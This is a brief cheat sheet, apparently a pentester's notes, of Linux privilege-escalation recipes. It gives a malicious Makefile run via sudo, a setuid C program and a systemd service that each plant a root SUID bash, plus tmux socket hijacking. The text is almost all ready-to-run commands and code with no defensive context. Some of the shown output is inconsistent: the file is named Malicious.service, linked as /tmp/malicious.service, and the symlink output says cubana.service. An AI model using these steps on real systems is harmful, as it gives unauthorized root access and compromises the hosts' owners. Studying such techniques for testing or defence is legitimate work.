1. Linux

---

Makefile RCE

Makefile:

<keyword>:
  <bash command>  
 
make <keyword> -C /directory

Prepare Malicious Makefile:

cat Makefile
install:
        bash -c "cp /bin/bash /tmp/bash && chmod 4755 /tmp/bash"

trigger:

sudo make install

---

SUID bash.c

Malicious.c:

#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>
 
int main(void)
{
  setuid(0); 
  setgid(0); 
  system("cp /bin/bash /tmp/bash && chmod 4755 /tmp/bash");
}

---

SUID Systemtcl

prepare Malicious.service:

$ cat Malicious.service
[Service]
Type=oneshot
ExecStart=/bin/bash -c "chmod +s /bin/bash"
[Install]
WantedBy=multi-user.target

Trigger:

$ systemctl link /tmp/malicious.service
Created symlink /etc/systemd/system/cubana.service -> /tmp/malicious.service.
 
$ systemctl enable --now /tmp/malicious.service
Created symlink /etc/systemd/system/multi-user.target.wants/malicious.service -> /tmp/malicious.service.
 
$ ls -al /bin/bash
-rwsr-sr-x 1 root root 1099016 May 15  2017 /bin/bash

---

Tmux Sessions

Make New Sessions

tmux -S <session_path> new -s <session_name>
tmux -S /tmp/tmux_session1 new -s mysession

attach to the session (need permission)

ls -al /tmp/tmux_session1
tmux -S /tmp/tmux_session1